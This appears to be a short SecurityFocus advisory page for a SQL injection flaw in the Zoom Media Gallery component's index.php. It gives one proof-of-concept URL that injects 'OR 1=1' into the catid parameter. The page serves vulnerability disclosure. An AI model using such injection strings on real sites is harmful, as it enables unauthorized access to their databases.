info
discussion
exploit
solution
references
Zoom Media Gallery Index.PHP SQL Injection Vulnerability
No exploit is required.
The following proof of concept is available:
http://www.example.com/index.php?option=com_zoom&Itemid=39&catid=2+OR+1=1
Privacy Statement
Copyright 2010, SecurityFocus